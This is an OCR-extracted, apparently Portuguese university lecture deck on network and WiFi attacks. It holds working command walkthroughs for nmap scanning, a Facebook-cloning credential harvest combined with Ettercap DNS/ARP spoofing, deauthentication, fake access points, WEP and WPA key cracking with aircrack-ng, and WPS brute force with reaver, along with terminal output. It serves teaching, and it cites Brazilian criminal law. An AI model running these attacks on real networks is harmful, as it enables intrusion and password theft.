) Prof. Marcos Monteiro
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@ [ Tipos de Ataque contra as Redes de Computadores

“Scanners de Rede

~Ha diversos tipos, os mais utilizados sao, Scanners de
Portas (Verifica todas as portas abertas em um host) e
Scanners de Vulnerabilidade (Verifica as vulnerabilidades
do sistema). Essas ferramentas sao utilizadas tanto por
hackers, com a visao de poder atacar um sistema
desprotegido ou por um Administrador de Rede com o
objetivo de proteger a sua estrutura. Atagues DoS podem
ser feitos em portas abertas tornando o servigo indisponivel
e atraves das vulnerabilidades que o atacante pode invadir

O sistema. ) Prof. Marcos Monteiro



MarcosMonteiro — sh — 86x30

e

sh-2.2%# nmap 192.168.24.0/24

Starting MNmaop ©.49BETAG ( https://nmap.org ) ot Z01e-02-11 Z1:14 BRET
Mmop scan report for 192.1c&.24.1

Host 15 up (B.0WcEs latency).

Mot shown: 955 t1ltered ports, 44 closed ports

FORT  STATE SERVICE

sAStcp open http

MAC Address: 7d:BA:ZAIEZ:8E:F4 (Tp-11ink Technologies?

MNmap scan report for 192.165.24.107

Host 13 up (B.017s laotency).

ALl 1880 scanned ports on 1922.168.24.102 are closed
MALC Address: F4iPE:ZZ:7EfEL:DE (Samsung Electronics)

Mmop scan report for 197.165.24.1085

Host 15 up (B.06@s lotency).

Mot shown: 999 t11tered ports

FORT STATE SERVICE

SASSStep open wsdapl

MAC Address: SC:C9:03:44:47:5F (Falladium Energy Eletronica DA Amazonia Ltda)

MNmap scan report for 192.165.24.10c
Host 13 up {(B.00RBEZs lotency ).
ALl 1800 scanned ports on 1922.168.24.186 are closed

MNmop done: Z5& IF oddresses (4 hosts up) scanned 1n 24.06 seconds
sh-3. 2%




sh-3.2% nmap -0 2081.20,64,51

Starting Nmap 6.01 [ hittp:/nmap.org )1 at 2012-08-04 11:35 BET
Nmap scan report for [ (o1 o
Host is up (0. 021 latency).

Mot shown: 999 filtered ports

FORET STATE SEREVWICE

443/ tcp open htips

Warning: 035can results may be unreliable because we could not
Device type: gZeneral purpose

Funning: Microsoft Windows 2008

0% CPE: cpe:/foimicrosoftiwindows serwver J003::spl

0% details: Microsoft Windows Server Z200HE 5F1

05 detection performed., Please report any incorrect results at
Mmap done: 1 IF address (1 host up) scanned in 59,90 seconds

) Prof. Marcos Monteiro
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}';’ [ Tipos de Ataque contra as Redes de Computadores

o

v'Interceptacao de trafego (Sniffing)

v'Interceptacdo de trafego, ou sniffing, € uma
tecnica que consiste em inspecionar os dados
trafegados em redes de computadores, por
meio do uso de programas especificos
chamados de sniffers.

v'wireshark

-) Prof. Marcos Monteiro
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@ [ Tipos de Ataque contra as Redes de Computadores

o

v'Interceptacao de trafego (Sniffing)

v'Dados néo criptografados ou de codificacao
fragil:
VFTP

vSMTP
echo “ xxx ” base64 -D

) Prof. Marcos Monteiro
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@ Tipos de Ataque contra as Redes de Computadores

o

“Spoofing

“ Quando um programa na rede se passa por outro chamamos o ataque de
Spoofing, existe diversos tipos, ARP Spoofing, IP Spoofing, DNS
Spoofing, entre outros.

“ Sua acao ¢ ficar respondendo solicitacdes na rede, mesmo sem ninguém
chamar, até que uma solicitacao seja feita e ele consiga responder antes

do verdadeiro.
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@ Tipos de Ataque contra as Redes de Computadores

’
& L & P s —J

L:. - ot =
“Spoofing  Atacker
real IP: 1.1.1.1 Internet-Router

source: 3.3.3.3
destination: 2.2.2.2

IP

RN

IP

I

source (spoofed): 3.3.3.3
destination: 2.2.2.2

source: 2.2.2.2
destination: 3.3.3.3

trusted Host Victim

IP:3.3.3.3 1P:22.22
(might be target of DoS-attack) (possible security breach)

) Prof. Marcos Monteiro



DNS_spoof

DNS spoof
com
Ettercap
no
Kali Linux
Em 26 passos

77
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DNS spoof

Passos utilizando o Kali Linux

Configuracdes de rede
IP Estatico na rede 172.26.41.x (Para atingir a rede do Firewall 172.26.41.253)

Clonar o site Facebook.com
Utilizando a ferramenta setoolkit, um conjunto de ferramentas para exploit.
setoolkit -> 1, 2, 3, 2 -> IP do Kali -> facebook.com

Apoés isso ele clonar o facebook.com e armazenar os textos escritos no formulario em
logs.

78
) Prof. Marcos Monteiro



-~

DNS spoof

Alterar o arquivo de DNS local usado pelo Ettercap
/etc/ettercap/etter.dns - Coloque o host facebook.com para o IP do Kali Linux

Execute o Ettercap
Sniff > Unified sniffing - Selecione a interface do Kali Linux da rede.
Hosts - Scan for hosts

Hosts - Host list -> Selecione os IPs 172.26.41.253 e 172.26.41.254 e coloque no
target 2 (Com isso o seu alvo serao estes dois hosts)

Mitm - Ative a opgcao do Arp poising clicando em "sniff remote connections"

Plugins - Ative o plugin DNS_Spoofing clicando duas vezes neste plugin.
Start - start snnifing

79
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DNS spoof )

Agora aguarde o switch sofrer o ataque, isto pode durar alguns minutos. Enquanto isso observe os
logs que aparecem no ettercap.

Simultaneamente vocé pode verificar os logs que aparecem no terminal onde o setoolkit esta
executando, para observar as senhas capturadas pelo clone.

Terminal

File Edit View Search Terminal Help

PARAM: ts=1379461373483

[ ——
_ER =
am == mm

rofile s
- = l

[ ——
_ER =
am == mm

: trynum=l1
: timezone=150

[ ——
_ER =
an

-
-
-
-
-
-
-
-
-
-

el ol S ol S i

o ol ol ol

f—
=
an

: default persistent=0
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Internet das Coisas

4
1

Q
w
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BYOD (Bring Your Own Device)
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Ferramentas GNU/Linux

IPTable
— Firewall
Nessus
— Auditoria
NMAP
— Port Scan
SNORT
= Log de pacotes
— Deteccao de Intruso
— Analise de Pacotes
Hunter

— Detecta Invasor

TRIP Wire
— Integridade de Diretorios

TCP TRACK
— Conexoes TCP

Wire Shark
— Captura Pacotes

SPRINT
= Auditoria de codigo fonte

SATAN
— Analise de redes

84
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@ [ Seguranca e Ataques em redes WIFI

Para garantir a seguranca de uma rede Wifi precisamos
resolver uma serie de complicacdoes que nao aparecem com
redes cabeadas. Por exemplo, uma rede sem fio se estende
alem das paredes e um possivel atacante pode operar de
longe. Uma vez que um ataque tenha sido identificado,
localizar o atacante €& bastante dificil. Alem disso, o0s
protocolos de autenticacao e criptografia definidos na familia
de padroes |IEEE 802.11 possuem uma serie de fraguezas
gue facilitam o trabalho de um atacante.

) Prof. Marcos Monteiro



@[ 1 - O padrao IEEE 802.11

* Uma rede sem fio € classificada entre ponto de acesso e clientes,
onde o ponto de acesso € uma estacao base, normalmente um
roteador, e o0s clientes sao dispositivos conectados a esta
estacao, como exemplo celulares, notebooks e etc.

o

* Se todos os dispositivos utilizam um ponto de acesso para se
comunicar, chamamos a rede de infraestruturada. Se clientes se
comunicam diretamente, a rede € chamada Ad-hoc.

* BSSID: MAC da estacao base (roteador ou AP)

* ESSID ou SSID: Nome de até 32 bytes da estacao base

* Canal: Divisao padronizada das frequéncias da rede sem fio. Uma
antena pode escutar e transmitir em apenas um canal por vez.

* WEP, WPA e WPA2: Esquema de criptografia usada pela rede
sem fio.

) Prof. Marcos Monteiro
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@ 2 - Descoberta

o

* Por padrao um ponto de acesso envia, varias vezes por
segundo, um pacote anunciando sua existéncia. Este pacote se
chama Beacon Frame.

* Beacons frames contém informacoes sobre o SSID, canal, taxas
de transferéncia, protocolos de seguranca suportados pelo do
ponto de acesso entre outras coisas, todas em texto puro. Eles
sao usados para exibir os pontos de acesso disponiveis para
clientes que desejam se conectar a uma rede.

* Quando um cliente se torna ativo e quer descobrir os pontos de
acesso disponiveis, ele envia um pacote chamado Probe
Request. O cliente pode enviar Probe Requests para todos os
nos da rede (Broadcast) ou procurando por um AP especifico.

* Os pontos de acesso que recebem o pacote respondem com um
pacote de Probe Response, com as mesmas informacoes

presentes em um Beacon Frame. _
) Prof. Marcos Monteiro
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@ 3 - Associacao

* Um cliente que deseja se associar com um ponto de acesso primeiro
envia um pacote de Authentication Request para o endereco MAC do
ponto de acesso com o seu SSID. Caso o ponto de acesso utilize o
protocolo de seguranca WEP no modo Shared Key, iniciar-se um
desafio cujo objetivo € verificar se o cliente possui a chave
compartilhada sem que a mesma seja transmitida.

o

* Se a autenticacao for bem sucedida, ou a rede utilize outro protocolo de
seguranca (ou ainda nenhuma segurancga), o AP enviara um pacote de
Authentication Response indicando sucesso. Apos isso 0 cliente esta
autenticado, poréem nao associado.

* Para iniciar a associacao, o cliente envia um pacote de Association
Request contendo o SSID da rede.

* Se a autenticacao foi completada com sucesso o AP envia um pacote de
Association Response. A partir dai comeca a troca de pacotes de dados.

* Caso o0 AP use WPA ¢ necessario completar o 4-way handshake.

) Prof. Marcos Monteiro
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@ 4 - Ataques

o

* Existem diversas ferramentas para realizar estes
ataques mas demonstraremos como eles podem ser
realizados, utilizando principalmente o pacote de
ferramentas Aircrack-ng e outras ferramentas comuns
em uma distribuicdo GNU/Linux.

* Para realizar alguns desses ataques, € necessario
que o driver da placa sem fio utilizada pela atacante
tenha suporte a certas funcionalidades como modo
monitor e injecao de pacotes. Nem todos os drivers
oficiais tem suporte a isso.
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@ 4.1 - Ataque de Escuta

o

Todo o trafego de associacao e Beacon Frames sao transmitidos em texto
puro e podem ser capturados por qualquer um. Além disso, em redes sem
criptografia, € possivel para um atacante capturar todo trafego de dados.

A placa sem fio deve estar no modo monitor para que pacotes nao
enderecados para o atacante sejam coletados pelo Sistema Operacional.

Pode-se colocar uma placa no modo monitor com o programa airmon-ng. Este
programa cria uma interface virtual wlanXmon no modo monitor.

# airmon-ng start wlan0

Alguns drivers nao sao compativeis com o airmon-ng, uma alternativa é alterar
o modo diretamente na interface usando o comando iwconfig.

# iwconfig wlan0 mode monitor
Para capturar pacotes, usa-se o programa airodump-ng.

# airodump-ng wlanOmon

) Prof. Marcos Monteiro



='|  # airmon-ng start wlan0

root@kali: ~

File Edit View 5Search Terminal Help

:~# airmon-ng start wlan@
No interfering processes found
PHY Interface Driver Chipset

phy0 wlan@ athSk_htc Atheros Communications, Inc. AR92/71 802.11ln
(mac80211 monitor mode vif enabled for [phy@]wlan®@ on [phy@]wlanBmon)
(mac80211 station mode vif disabled for [phyO@]wlan@)

:~# iwconfig

no wireless extensions.

IEEE 802.11bgn Mode:Monitor Frequency:2.457 GHz Tx-Power=20 dBm
Retry short 1limit:7 RIS thr:off Fragment thr:off

Power Management:off

no wireless extensions.

=3 |
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?63 # airodump-ng wlanOmon

Applications Places f E Fri Feb & O8:38

CH 11 11 Elapsed: 12 s [ 2015-62-06 &@9:38 ) fixed channel =opb: -1
BSEID FUWR RXG-—Beacons #lata, #/s CH | ElG CIFHER AUTH ESSID

00:00:00:90:00:00 -1 O o] 16 l - 0PN stepgth: @=
CE:Eh 35:31:24:C0 -17 100 117 1 Sde wPA 'COMP  PSK  <lenith: 0=
02:18:4A:AF68:50 -62 25 98 Sde, WPAZ CCHMPESRSK el engthisg 1=
02:18:4A:AF:68:5] -6]1 &2 98 1 1 Sde, WPARCCMF PR Intenface-Bafe
06:18:04:21:C0:00 -68 96 186 1 Sde, WRAZ'CCMP  PSK NetworkPlus, ™,
12:78:EF:AS:F9:78 -8B 9 28 1 Sde WRAZ CCMP PSK  CenturyLink3445

BE510 STATION FWR Rate Lost Frames Probe

G G000 00:00:00 ©2:18:4A:AF:68:50 -6]
G0 0000 00:00:00 ©0:18:08:21:C0:D0 -&6
(not assoclated) BO:4F:DS:ES:EB:64 .60
(not assoclated) 64:89:9A:09:02:B0 .60
(not assoclated) ©2:18:0A:AF:62:C0 -T6
(not assoclated) 40:B3:95:85:01:B1 .52
(rot assoclated) BC:B5:56:85:00:EQ .54 |

= e

Interface=Caie
(not assoclated)  56:45:55:C5:DC:3g '53; f

{not assoclated) 7O:DE:E2:88:D9: 92 - | :

(not associsted) 64:80:99:76.5c:C6 pad | b V| | | U
62:18:4A:AF :68:51 F0:84:79:FD:32: ae-J 1\ L § ] |k \
02:18;44:5F:68:51 34:FC.EF;AB;4F 33__' - —
02:18:4A:AF :68:51 AB:06:00:AF:1C: JiEi i 1y _ .
02:18:4A:AF:68:51 ©0;68:9E:10:5C;F2 EB . Interface-Cafe
02:18:4AAF;68:51 O©O0;068:9E:1D:5D:E3 - . 3 Interface-Cafe

rE}E-E-E!'-E!'

| p— |

= _-E:-

‘L |

E] roovgkatic230: -
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@ 4.2 - Ataque de Desassociacao

Como todos os pacotes de controle sao enviados em texto puro e sem
nenhuma forma de autenticacao da origem, um atacante pode enviar pacotes
marcados como sendo originados do AP indicando o encerramento da
conexdo. Com isso os clientes acreditarao que o AP encerrou a associacao e
irao tentar se conectar novamente.

O programa aireplay pode ser usado para injetar pacotes de desassociacao. O
comando:

aireplay-ng --deauth 10 -a FF:FF:FF:FF:FF:FF -c
AA:AA:AA:AA:AA:AA wlanOmon

Envia 10 pacotes de desassociacao em nome do AP “FF.FF.:FF:FF:FF:FF” para
o cliente com cujo endereco MAC € AA:AA:AA:AAAAAA.
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~ v ¥ root@bt: ~
File Edit View Terminal Help

:~# aireplay-ng --deauth 10 -a F4:3E:61:92:68:D07 -c 94:39:E5:EA:85:31 mon@
:03:47 Waiting for beacon frame (BSSID: F4:3E:61:92:68:D7) on channel 1
:03:47 Sending 64 directed DeAuth. STMAC: [94:39:E5:EA:85:31] [28]63
:03:48 Sending 64 directed DeAuth. STMAC: [94:39:E5:EA:85:31]
:03:49 Sending 64 directed DeAuth. STMAC: [94:39:E5:EA:85:31]
:03:49 Sending 64 directed DeAuth. STMAC: [94:39:E5:EA:85:31]
:03:50 Sending 64 directed DeAuth. STMAC: [94:39:E5:EA:85:31]
:83:51 Sending 64 directed DeAuth. STMAC: [94:39:E5:EA:85:31]
:03:51 Sending 64 directed DeAuth. STMAC: [94:39:E5:EA:85:31]
:03:52 Sending 64 directed DeAuth. STMAC: [94:39:E5:EA:85:31]
:083:53 Sending 64 directed DeAutW. STMAC: [94:39:E5:EA:85:31]
:03:53 Sending 64 ddrectedsDeAuthd™ STMACY [94:38°E5:.EA:85:31]

~# ]

[44]64
164 |64
16463
(65|64
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@ 4.3 - Descobrindo redes ocultas

* Uma opcdo comum em varios APs € a de esconder o seu SSID. Isto
normalmente é feito por administrados que querem evitar que intrusos
tentem acessar sua rede.

o

* Porém, como veremos, a seguranca dada por esta tecnica € muito baixa.
Primeiro mesmo que o SSID de um AP esteja escondido, ele ainda deve
enviar Beacon Frames e Probe Responses normalmente, mas sem o seu
SSID. Isso permite que um atacante saiba da existéncia do AP.

* Além disso durante o Association Request, um cliente deve enviar o
SSID do ponto de acesso. Escutando passivamente, um atacante
eventualmente pode capturar um Association Request e descobrir o
SSID.

* Se o0 atacante nao quiser esperar, pode ainda enviar um ataque de
desassociacdo, como Vvisto anteriormente, forcando o cliente a se
reconectar e assim capturando o seu Association Request. E facil
descobrir quais clientes estdo conectados a cada AP simplesmente
observando o trafego.
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Q 4.4 - Burlando filtros por MAC

* Um mecanismo de seguranca utilizado tanto em redes cabeadas
quanto redes sem fio sido filtros por enderecos MAC. Filtros por
enderecos MAC fazem com que o gateway de uma rede rejeite todos
0s pacotes exceto os provenientes de uma certa lista de enderecos

MAC pré-cadastrada. Deste modo, apenas clientes cadastrados
podem utilizar a rede.

o

* Enquanto esse mecanismo pode ser efetivo em redes cabeadas, em
redes sem fio sua efetividade diminui muito. Isso ocorre pois em todo
pacote enviado em uma rede sem fio esta presente o endereco MAC,
independente da criptografia ou mecanismo da rede.

* Por isso, um atacante que pretende se associar a uma rede com filtros
por enderecos MAC so precisa escutar e tomar nota do endereco MAC
de algum cliente autorizado. Entao, modificar o seu proprio endereco
MAC para este, preferencialmente quando o cliente verdadeiro nao
estiver na rede. Uma outra possibilidade € impedir a conexao do
verdadeiro cliente pelo uso de pacotes de desassociacao.
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4.5 — Ataque com Falsos APs

o

Em uma rede com diversos APs, um atacante pode enviar Beacon Frames e
Association Responses como faria um AP legitimo da rede. Se o sinal do
atacante for mais forte que o de outros APs, o cliente se associara ao
computador do atacante. A partir dai o atacante pode escutar e enviar
qualquer informacao para a vitima. Quando o atacante encaminha os pacotes
para rede, eventualmente modificando-os, isso € conhecido como ataque do
homem-no-meio (MitM) e a vitima pode nao perceber que ha algo de errado.

Mesmo que o sinal do atacante nao seja mais forte, ele pode forgcar um
cliente a associar-se a ele injetando pacote de desassociagao em nome dos
APs legitimos.

Uma variacdo desse ataque consiste em o computador do atacante
responder a qualquer Association Request com um Association Response
equivalente. Devido a configuragcdbes comuns em muitos sistemas, o
dispositivo pode se conectar a uma rede conhecida assim que ela é
detectada. Assim o atacante pode se conectar ao dispositivo de uma pessoa
sem que ela saiba do que esta acontecendo. Talvez mesmo sem estar
usando o dispositivo.

O programa airbase-ng é capaz de criar falsos pontos de acesso.
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:~# airbase-ng -F ./Desktop/WPA-attack.cap --essid linksys -Z 2 -c 1 -1 mo

Created capture file "./Desktop/WPA-attack.cap-01.cap".

Created tap interface at@

Trying to set MTU on at@ to 15606

Trying to set MTU on mon@ to 1866

Access Point with BSSID 35:93:C4 started.

Client 6D:53:AC associated (WPAZ2;TKIP) to ESSID: "linksys"
Client 6D:53:AC ociated (WPA2;TKIP) to ESSID: "linksys"
Client 60:53:AC ociated (WPA2;TKIP) to ESSID: "linksys"

uso: airbase-ng <options> <replay interface>

-F prefix : Local onde ira armazenar os dados

--essid <ESSID> : especifique o ESSID (short -e)

-Z type : coloque para usar WPA2. 1=WEP40 2=TKIP 3=WRAP
4=CCMP 5=WEP104

-c channel : informar o canal para ser usado

- iface : interface onde o fake AP sera criado
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@[ 5 — Redes WEP

o

* O Wired Equivalent Protection, mais conhecido simplesmente
como WEP, € um protocolo de seguranca presente no primeiro
padrao |IEEE 802.11 e pretende proteger o trafego contra
escuta de pacotes e impedir que clientes nao autorizados se
conectem a pontos de acesso.

* Diversas falhar foram descobertas no WEP que levaram a sua
depreciacao em 2004, com a introducao do WPAZ2.

* O WEP possui um vetor de inicializacao (IV) de 24 bits gerado
aleatoriamente. A senha WEP € concatenada com o |V e €
gerado a cifra RC4, que por sua vez gera uma keystream onde
€ mesclada ao pacote, em texto plano, e enviado ao cliente.

* O cliente obtém o valor do IV, combina-o com a chave WEP e
utilizando o algoritmo RC4, gera o mesmo keystream. Utiliza-se
um novo |V para cada pacote enviado.
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@ 5.1 - Obtendo a Chave WEP

o

* A fraqueza do WEP esta no uso do RC4. Existem alguns “IV fracos”

que revelam informacdes sobre o resto da chave usada no RC4 e
tornam plausivel a quebra por forgca bruta em poucos minutos. Estes
“IV fraco” variam para cada chave WEP.

Por tanto, para quebrar uma chave WEP, um atacante precisaria
apenas ficar coletando pacotes com |Vs diferentes até ter um numero
suficiente para que seja possivel quebrar a chave. Ele poderia obter
esses pacotes com o airodump.

* # airodump-ng -w saida wlanOmon

Em meédia, sao necessarios 300.000 IVs para quebrar uma chave de
64bits. Pode demorar muito tempo para coletar essa quantidade de
pacotes. Por isso, para acelerar esse ataque, o atacante pode injetar
pacotes que gerariam respostas com |Vs diferentes.
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@ 5.1 - Obtendo a Chave WEP

o

Uma técnica comum € o ARP Request Replay. O atacante espera um cliente
enviar um pedido de resolucao ARP para o AP. Estes pacotes podem ser
identificados, mesmo criptografados, pelo seu tamanho e comportamento.
Entao o atacante repete esse pacote muitas vezes, fazendo o AP criar varios
novos pacotes com |Vs diferentes.

Um exemplo de realizacao deste ataque com a ferramenta aireplay-ng €, em
uma outra janela:

# aireplay-ng -3 -b 00:13:10:30:24:9C wlanOmon

Onde 00:13:10:30:24:9C € o enderegco MAC do AP e 3 € o tipo de ataque ARP
Request Replay.

Apos coletados Vs suficientes, executa-se o programa aircrack-ng:

# aircrack-ng saida*.cap
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Wireless Settings

Wireless Metwork
¥ Enable SSID Broadcast
|| Enable Wireless Isclation

Mame (SSID): hest
Region: ' Europe v
Chamnet
Mode: ‘Upto 150 Mbps v |
Security Options

) None

= WEP

) WPA-PSK [TKIF]

) WPAZ-PSK [AES]
) WPA-PSK [TKIP] + WPAZ-PSK [AES]

security Encryption (WEP)

Automatic ¥ |

Security Encryption (WEP) Key
Passphrase: | Generate |

Key1: ® 5AABED03135CE2D67FE1D19040

Key2: O 5AAGED03135CE2D67FE1D19040

Key3: O 5AAGED03135CE2D67FE1D19040

 Key4: O SAAGED03135CB2D67FE1D19040

[ Apply || Cancel




- -3 -b OB:26:5A:F2:57:28 mon®
Mo source MAC (-h) specified. Using the dewice MAC (Q3:0D:A3:0B:8B7:C3)
14:41 :28 Waiting for beacon frame (BSSID: 00:26:5A:F2:57:2B) on channel &
Saving ARFP requests in replay arp-08701-144128 . cap
You should also start airodump-mng to capture replies.
Read 2237 packets (got 118 ARP requests and 120 ACKs)
Read 2489 packets (got 167 ARP requests and 169 ACKs)
Read 2729 packets [(got 216 ARFP reguests and 217 ACKs)
Read 2982 packets [(got 264 ARP regquests and 267 ACKs)
Read 3240 packets (got 314 ARP requests and 318 ACKs)
Read 32488 packets (got 361 ARP requests and 368 ACKSs)
Read 3740 packets (got 411 ARP regquests and 417 ACKs)
Read 3991 packets (got 459 ARP requests and 467 ACKs)
Read 4240 packets (got 507 ARP requests and 515 ACKs)
Read 4488 packets (aot 559 ARP reauests and 5685 ACKs)

root@kali:~/Chop Chop WEP 2# aircrack-ng out-0*.cap

Opening out-01.cap

Opening out-0Z.cap

Opening out-03.cap

Opening out-04.cap

Opening out-05.cap

Opening out-06.cap

Read 813575 packets.

tikali:~# aireplay-ng

122
172
222
272
322
372
422
473
522
572

packeats. ..
packets. ..
packets. ..
packets. ..
packets. ..
packets. ..
packats. ..
packets. ..
packets. ..
packaets . ..

LI I L . T L I | L

=ineluelyeiieluelyeiyelyelys)

# BSSID ESSID Encryption

1 2C:BO:5D: test WEP (1715976 IVs)

Choosing first network as target.

Opening
Opening
Opening
Opening
Opening
Opening

out-01
out -02
out-03
out -84
out -05
out -06

Attack will be

.cap
.cap
.cap
.cap
.cap
.cap

restarted every 5000 captured ivs.
Starting PTW attack with 175013 ivs.
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Aircrack-ng 1.2 rcl

[00:00:02] Tested 705 keys (got 173001 IVs)

depth  byte(vote]

B/ 25 BA(225280) 02(193792) 50(193536) 8B8(190720) 9F(188928) 6E(188160) 5C(187904)
1/ 1 B5(190464) 32(188928) F8(188928) CD(188672) BA(187/648) 65(186880) 16(185856)
B/ 1 60(254208) 14(189184) A3(189184) 1F(188928) E3(188672) BY(188160) FO(187392)
B/ 1 70(242944) FF(187904) CC(187136) 1D(186368) Co(186368) 18(186112) 4F(186112)
3/ 4 9C(187904) 26(187648) CZ2(187136) GB(186368) B87(186368) GA(185856) EE(18585%6)

KEY FOUND! [ 5A:A6:6D:03:13:5C:B2:06:7F:61:01:90:40 ]
Decrypted caorrectly: 100%

root@kali:~/Chop_Chap WEP 2# ||
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@ 6 — Redes WPA e WPAZ

o

O WPA(2) Pessoal utiliza uma chave alfanumeérica com comprimento entre 8 e 63
caracteres. Ap0s a associagao, quatro mensagens, conhecidas conjuntamente
como 4-way handshake sao trocadas.

Na primeira mensagem, o AP envia ao cliente um numero aleatorio, chamado
ANOUNCE. Depois disso o cliente gera um outro numero aleatério, SNOUNCE e
gera uma chave que combina o ANOUNCE, o SNOUNCE, a chave WPA(2) e
endereco MAC do cliente. Essa chave é chamada PTK, e € a chave usada como
entrada do RC4 ou AES no TKIP/CCMP.

O AP, tendo as mesmas informacdes, pode gerar a mesma PTK e confirma isso
com a terceira mensagem. A quarta mensagem € apenas um ACK do cliente.

Depois do 4-way handshake, nenhuma informacido sobre a chave é transmitida,
nao existem |Vs, e por isso o TKIP nao pode ser quebrado da mesma forma que
o WEP.

De fato a unica maneira de descobrir a chave WPA/WPA2 é por um ataque de
forca bruta, testando diversas senhas comuns. Isso sé pode ser feito se o 4-way
handshake foi capturado por um atacante e ele sabe o ANOUNCE e SNOUNCE.
Mesmo sabendo a chave da rede, sem esses numeros nao € possivel espiar
pacotes em uma rede WPA.
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Q[ 6 — Redes WPA e WPAZ2
y
STA AP
4 ANonce
STA constructs
the PTK
SNonce + MIC )
AP constructs
the PTK
GTK + MIC
<
Ack )
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airodump-ng -bssid 00:18:E7:XX:XX:XX -
channel 6 -w testcapture mon0

1

root@kali:~/WPA Testing TKIFP# airodump-ng --bssid B0:18:E7: --channel 6 -w te
stcapture mﬂﬂﬂl

CH & ][ Elapsed: 4 s ][ 2015-05-02 17:35

BESSID PWR RXQ Beacons #lata, #/s ENC CIPHER AUTH ESSID

OR:18:E7: 33 10€ 37 8 2 5 Bde. WPAZ TKIP PSK test
BSSID STATION ate Frames Frobe

AB:18:E7: F4:09:D8: g 3 -24e ¢ 1
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F3 aireplay-ng -0 2 -a 00:18:E7:XX:XX:XX
F4:09:8:X:XX: monO

-~

root@kali:~/WPA Testing TKIP# aireplay-ng -0 2 -3 00:18:E7: -c F4:09:D8:
monQ

17:45:48 Waiting for beacon frame (BSSID: G0:18:E7: 1 on channel &

17:45:49 GSending 64 directed Deluth. STMAC: [F4:09:D8: ] [39]90 ACKs]

17:45:49 5Sending 64 directed DeAuth. STMAC: [F4:09:D8: ] [B4]128 ACKs]

[1]+ Done wireshark testcapture-01.cap

root@kali:~/WPA Testing TKIP# |}

CH & ][ Elapsed: 14 mins ][ 2015-05-02 17:49 ][ WPA handshake: G0:18:E7:

BSSID PWR RXQ Beacons #Data, #/s CH MB  ENC CIFHER AUTH ESSID
QO:18:E7: -21 96 7737 2046 @ 6 b5de. WPAZ TKIP PSK test
BESSID STATION PWR  Rate Lost Frames Probe

OO:18:E7: F4:09:D8: -9 5de-bde 1 1095
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:ﬁb aircrack-ng -b 00:18:E7: XX:XX:XX
testcapture®.cap

-~

root@kali:~/WPA Testing TKIP# aircrack-ng -w password.lst -b 00:18:E7:
pture*.cap

Opening testcapture-0Gl.cap

Opening testcapture-02.cap

Feading packets, please wait...

Aircrack-ng 1.2 rcl
[B0:00:00] 6 keys tested (82.20 k/s)

KEY FOUND! [ passwordl234% ]
Master Key : 85 57 C3 E7 B6 DY 77 85 65 E3 CO
SO 95 3D 41 5D 10 7C C4 E1 G1 7D
Transient Key : C2 FE B7 BD 45 B4 2D F1 D4 CO B9
43 B5 C3 B9 E9 3B B6 04 BF 43 5A
82 F3 85 BG 51 C4 Bl 95 DB BO 15

/B 52 D4 86 CC EA 25 98 FB 96 45

EAPOL HMAC : 1C 6A 22 8D A2 BE 7C A4 FD 96 FB
root@kali:~/WPA Testing TKIP# |}
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@[ 6.1 — WPS/QSS

O Wireless Protected Setup, ou Quick Secure Setup, € uma forma de
facilitar a configuracao da rede para usuarios domésticos.

o

A ideia € que um novo dispositivo, quanto tenta se associar, deve
digitar um codigo PIN de 8 digitos, normalmente escrito no AP. Feito
iIsso, 0 AP e o dispositivo trocam, de forma segura, a chave da rede
WPA/WPAZ2-PSK, potencialmente complicada, e a partir desse ponto o
cliente guarda essa senha e o0 usuario nao precisa mais se preocupar.

Por ter 8 digitos e cada transicao de troca de chaves demorar em
torno de 1 segundo, encontrar o PIN por forca bruta parece inviavel a
primeira vista. Porém, foi notado que o ultimo digito € um checksum e
gue durante a autenticacao, o AP sinaliza a corretude de cada metade
do PIN.

Por isso, o quantidade de numeros que devem ser testados cai de
100.000.000 para 11.000. Um numero perfeitamente possivel de se
quebrar por forca bruta.

) Prof. Marcos Monteiro



@[ 6.1 — WPS/QSS

O programa reaver faz exatamente isso. Pode-se obter a chave
de uma rede WPA/WPA2-PSK com o comando:

o

# reaver -i mon0 -b 00:01:02:03:04:05

onde 00:01:02:03:04:05 € o BSSID da rede. O ataque, em
geral, demora de 2h a 4h.

Por isso € recomendado que nao se use WPS. Um esquema
de seguranca que era razoavelmente seguro se tornou
Inseguro pelo seu uso. Hoje os Hardwares, apesar de manter a
mesma logica do WPS, impedem o ataque via brute force,
desativando temporariamente o modo WPS apds identificar um
ataque.
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Q Para conhecimento
. o
* Art. 154-Ae 154-B, C.P.
L Invasao de dispositivo informatico
* Art. 266, C.P.
. Interromper, impedir ou dificultar servicos telematico ou de informatica

de utilidade publica.

Art. 155, CP.

- Subtrair, para si ou para outrem, coisa movel alheia.

Art. 157, CP

£ Subtrair coisa movel alheia, para si ou para outrem, mediante grave
ameaca ou violéncia a pessoa, ou depois de havé-la, por qualquer meio,

reduzido a impossibilidade de resisténcia. |
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@ [ Perguntas?

* Prof. Marcos Monteiro

—  http://www.marcosmonteiro.com.br
— contato@marcosmonteiro.com.br
—  +55(85) 9 8805 4112
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